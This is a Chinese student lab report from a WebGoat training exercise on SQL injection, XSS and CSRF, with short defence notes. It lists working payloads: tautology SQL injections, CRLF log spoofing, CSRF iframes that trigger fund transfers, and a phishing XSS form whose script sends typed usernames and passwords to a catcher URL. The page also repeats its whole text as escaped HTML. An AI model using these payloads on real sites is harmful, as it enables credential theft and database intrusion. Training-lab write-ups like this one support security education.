zoukankan      html  css  js  c++  java
  • 20145313exp9

    问题回答

    • SQL注入攻击原理,如何防御
      • 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
      • 要防御SQL注入,用户的输入必须进行过滤,或者使用参数化的语句。比如对用户的输入进行格式限制、做好错误信息检查、对敏感数据加密处理等。
    • XSS攻击的原理,如何防御
      • xss表示Cross Site Scripting(跨站脚本攻击),恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
      • 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等;在输出方面,在用户输内容中使用<XMP>标签时,标签内的内容不会解释,直接显示;严格执行字符输入字数控制;保证在脚本执行区中,应绝无用户输入。
    • CSRF攻击原理,如何防御
      • 跨站请求伪造,也被称为:one click attack/session riding,盗用用户身份,以用户名义发送恶意请求。
      • 通过 referer、token 或验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息;对于用户修改删除等操作最好都使用post 操作;避免全站通用的cookie,严格设置cookie的域。

    实验总结体会

    这次实验中我们进行了SQL注入攻击、CSRF攻击和XSS攻击。这三种攻击主要利用的是对网站的输入进行处理,实现恶意脚本的注入。对于有输入框的网页,可以直接在输入框中进行注入,如果没有输入框,也可以对数据包进行截获修改。如果网站仅仅对输入框的输入数据进行格式限制是很不保险的。输入框的格式限制、错误输入的反馈、数据的加密存储保护都应得到足够的关注。

    实践过程

    • Stored XSS Attacks

      • 实验目的是在帖子中插入脚本,在打开帖子的时候执行注入的脚本。
      • 这里写入massage内容为<script>alert("It's just funning!");</script>,打开帖子该代码就会自动执行。
    • Reflected XSS Attacks

      • 同样,在网站输入框中注入脚本信息。发布后点击即可自动执行。
      • 在ACCESS CODE 框里填入获取COOKIE的javascript代码<script>alert(document.cookie);</script>,提交后得到用户cookie
    • Cross Site Request Forgery(CSRF)

      • 在新建邮件里写入可以更改由题目要求的attack的src、menu的transferFunds数值参数
      • 在message里写入的内容为<iframe src="attack?Screen=284&menu=900&transferFunds=5000"></iframe>
    • CSRF Prompt By-Pass

      • 通过邮件的方式进行恶意请求,不仅对transferFunds数值参数进行了变化,还对这个过程的进行了请求确认,所以需要两个iframe模块,并且由题目可知在请求确认的模块里transferFunds参数的值
      • 在massage中写入
    <iframe
        src="attack?Screen=271&menu=900&transferFunds=5000">
    </iframe>
     
    <iframe
        src="attack?Screen=271&menu=900&transferFunds=CONFIRM">
    </iframe>
    

    • Numeric SQL Injection
      • 使用SQL注入语句使得原本只显示一个城市的天气变成显示所有城市的天气
      • 考虑构造永真式进行攻击,输入or 1=1;--,但是网页并没有输入框。于是考虑通过使用代理,修改数据包数据进行攻击。

    • Log Spoofing

      • 实验目的是使用回车换行符,虽然登录失败但仍显示登陆成功信息
      • 输入%0d%0aLogin succeeded !admin
    • String SQL Injection

      • 实验目的是通过sql注入实现全部用户信息的查询
      • 构造永真式' or 1=1;--,在用户框中输入
    • Phishing with XSS

      • 在输入框中输入钓鱼网站的代码
    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>
     
    </div></div>
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>
    
    * 用户在网站中输入用户名密码即会被截获
    

    • Stage 1 String SQL Injection

      • 仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。
      • 修改后输入永真式' or 1=1 --进行登录
    • Stage 3 Numeric SQL Injection

      • 实验要求以larry的身份登录,浏览Neville的profile信息。由于登录后没有再进行输入的部分,还是考虑在登录部分进行攻击。
      • 使用网络代理,对发出的数据包进行修改。把action修改为ViewProfile,把用户id改为112 or 1=1 order by salary desc--,重新提交数据包。

    ---恢复内容结束---

    ---恢复内容结束---

    ---恢复内容结束---

    ##问题回答 * SQL注入攻击原理,如何防御 * 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 * 要防御SQL注入,用户的输入必须进行过滤,或者使用参数化的语句。比如对用户的输入进行格式限制、做好错误信息检查、对敏感数据加密处理等。 * XSS攻击的原理,如何防御 * xss表示Cross Site Scripting(跨站脚本攻击),恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。 * 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等;在输出方面,在用户输内容中使用标签时,标签内的内容不会解释,直接显示;严格执行字符输入字数控制;保证在脚本执行区中,应绝无用户输入。 * CSRF攻击原理,如何防御 * 跨站请求伪造,也被称为:one click attack/session riding,盗用用户身份,以用户名义发送恶意请求。 * 通过 referer、token 或验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息;对于用户修改删除等操作最好都使用post 操作;避免全站通用的cookie,严格设置cookie的域。 <h2 id="实验总结体会-1">实验总结体会</h2> <p>这次实验中我们进行了SQL注入攻击、CSRF攻击和XSS攻击。这三种攻击主要利用的是对网站的输入进行处理,实现恶意脚本的注入。对于有输入框的网页,可以直接在输入框中进行注入,如果没有输入框,也可以对数据包进行截获修改。如果网站仅仅对输入框的输入数据进行格式限制是很不保险的。输入框的格式限制、错误输入的反馈、数据的加密存储保护都应得到足够的关注。</p> <h2 id="实践过程-1">实践过程</h2> <ul> <li> <p>Stored XSS Attacks</p> <ul> <li>实验目的是在帖子中插入脚本,在打开帖子的时候执行注入的脚本。</li> <li>这里写入massage内容为<code>&lt;script&gt;alert(&quot;It's just funning!&quot;);&lt;/script&gt;</code>,打开帖子该代码就会自动执行。<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517211429791-424394347.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>Reflected XSS Attacks</p> <ul> <li>同样,在网站输入框中注入脚本信息。发布后点击即可自动执行。</li> <li>在ACCESS CODE 框里填入获取COOKIE的javascript代码<code>&lt;script&gt;alert(document.cookie);&lt;/script&gt;</code>,提交后得到用户cookie<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517211558307-1670843003.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>Cross Site Request Forgery(CSRF)</p> <ul> <li>在新建邮件里写入可以更改由题目要求的attack的src、menu的transferFunds数值参数</li> <li>在message里写入的内容为<code>&lt;iframe src=&quot;attack?Screen=284&amp;menu=900&amp;transferFunds=5000&quot;&gt;&lt;/iframe&gt;</code><br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517211934947-618730238.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>CSRF Prompt By-Pass</p> <ul> <li>通过邮件的方式进行恶意请求,不仅对transferFunds数值参数进行了变化,还对这个过程的进行了请求确认,所以需要两个iframe模块,并且由题目可知在请求确认的模块里transferFunds参数的值</li> <li>在massage中写入</li> </ul> </li> </ul> <pre><code>&lt;iframe src=&quot;attack?Screen=271&amp;menu=900&amp;transferFunds=5000&quot;&gt; &lt;/iframe&gt; &lt;iframe src=&quot;attack?Screen=271&amp;menu=900&amp;transferFunds=CONFIRM&quot;&gt; &lt;/iframe&gt; </code></pre> <p><img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517212125244-1140731424.png" alt="" loading="lazy"></p> <ul> <li>Numeric SQL Injection <ul> <li>使用SQL注入语句使得原本只显示一个城市的天气变成显示所有城市的天气</li> <li>考虑构造永真式进行攻击,输入<code>or 1=1;--</code>,但是网页并没有输入框。于是考虑通过使用代理,修改数据包数据进行攻击。<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517212422400-1431687319.png" alt="" loading="lazy"></li> </ul> </li> </ul> <p><img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517212429807-1886493951.png" alt="" loading="lazy"></p> <ul> <li> <p>Log Spoofing</p> <ul> <li>实验目的是使用回车换行符,虽然登录失败但仍显示登陆成功信息</li> <li>输入<code>%0d%0aLogin succeeded !admin</code><br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517212639447-169868986.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>String SQL Injection</p> <ul> <li>实验目的是通过sql注入实现全部用户信息的查询</li> <li>构造永真式<code>' or 1=1;--</code>,在用户框中输入<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517212801400-976196971.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>Phishing with XSS</p> <ul> <li>在输入框中输入钓鱼网站的代码</li> </ul> </li> </ul> <pre><code>&lt;head&gt; &lt;body&gt; &lt;div&gt; &lt;div style=&quot;float:left;height:100px;50%;background-color:green;&quot;&gt;&lt;/div&gt; &lt;div style=&quot;float:left;height:100px;50%;background-color:red;&quot;&gt;&lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;background-color:blue;height:200px;clear:both;&quot;&gt;&lt;/div&gt; &lt;/div&gt;&lt;/div&gt; &lt;/form&gt; &lt;script&gt; function hack(){ XSSImage=new Image; XSSImage.src=&quot;http://localhost:8080/WebGoat/catcher?PROPERTY=yes&amp;user=&quot; + document.phish.user.value + &quot;&amp;password=&quot; + document.phish.pass.value + &quot;&quot;; alert(&quot;attack.!!!!!! Your credentials were just stolen. User Name = &quot; + document.phish.user.value + &quot; Password = &quot; + document.phish.pass.value); } &lt;/script&gt; &lt;form name=&quot;phish&quot;&gt; &lt;br&gt; &lt;br&gt; &lt;HR&gt; &lt;H2&gt;This feature requires account login:&lt;/H2&gt; &lt;br&gt; &lt;br&gt;Enter Username:&lt;br&gt; &lt;input type=&quot;text&quot; name=&quot;user&quot;&gt; &lt;br&gt;Enter Password:&lt;br&gt; &lt;input type=&quot;password&quot; name = &quot;pass&quot;&gt; &lt;br&gt; &lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;login&quot; onclick=&quot;hack()&quot;&gt; &lt;/form&gt; &lt;br&gt; &lt;br&gt; &lt;HR&gt; &lt;/body&gt; &lt;/head&gt; </code></pre> <pre><code>* 用户在网站中输入用户名密码即会被截获 </code></pre> <p><img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517213002541-1094133986.png" alt="" loading="lazy"></p> <ul> <li> <p>Stage 1 String SQL Injection</p> <ul> <li>仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517213145853-1826457964.png" alt="" loading="lazy"></li> <li>修改后输入永真式<code>' or 1=1 --</code>进行登录<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517213224275-1733336455.png" alt="" loading="lazy"></li> </ul> </li> <li> <p>Stage 3 Numeric SQL Injection</p> <ul> <li>实验要求以larry的身份登录,浏览Neville的profile信息。由于登录后没有再进行输入的部分,还是考虑在登录部分进行攻击。</li> <li>使用网络代理,对发出的数据包进行修改。把<code>action</code>修改为<code>ViewProfile</code>,把用户id改为<code>112 or 1=1 order by salary desc--</code>,重新提交数据包。<br> <img src="https://images2015.cnblogs.com/blog/885194/201705/885194-20170517213513244-762335371.png" alt="" loading="lazy"></li> </ul> </li> </ul>
  • 相关阅读:
    原根
    FFT
    bzoj3991[SDOI2015]寻宝游戏
    bzoj3990[SDOI2015]排序
    序列自动机
    bzoj4032[HEOI2015]最短不公共子串
    2015.8.28 字符串
    bzoj2821作诗
    bzoj2741【FOTILE模拟赛】L
    一个牛人给java初学者的建议
  • 原文地址:https://www.cnblogs.com/entropy/p/6869690.html
Copyright © 2011-2022 走看看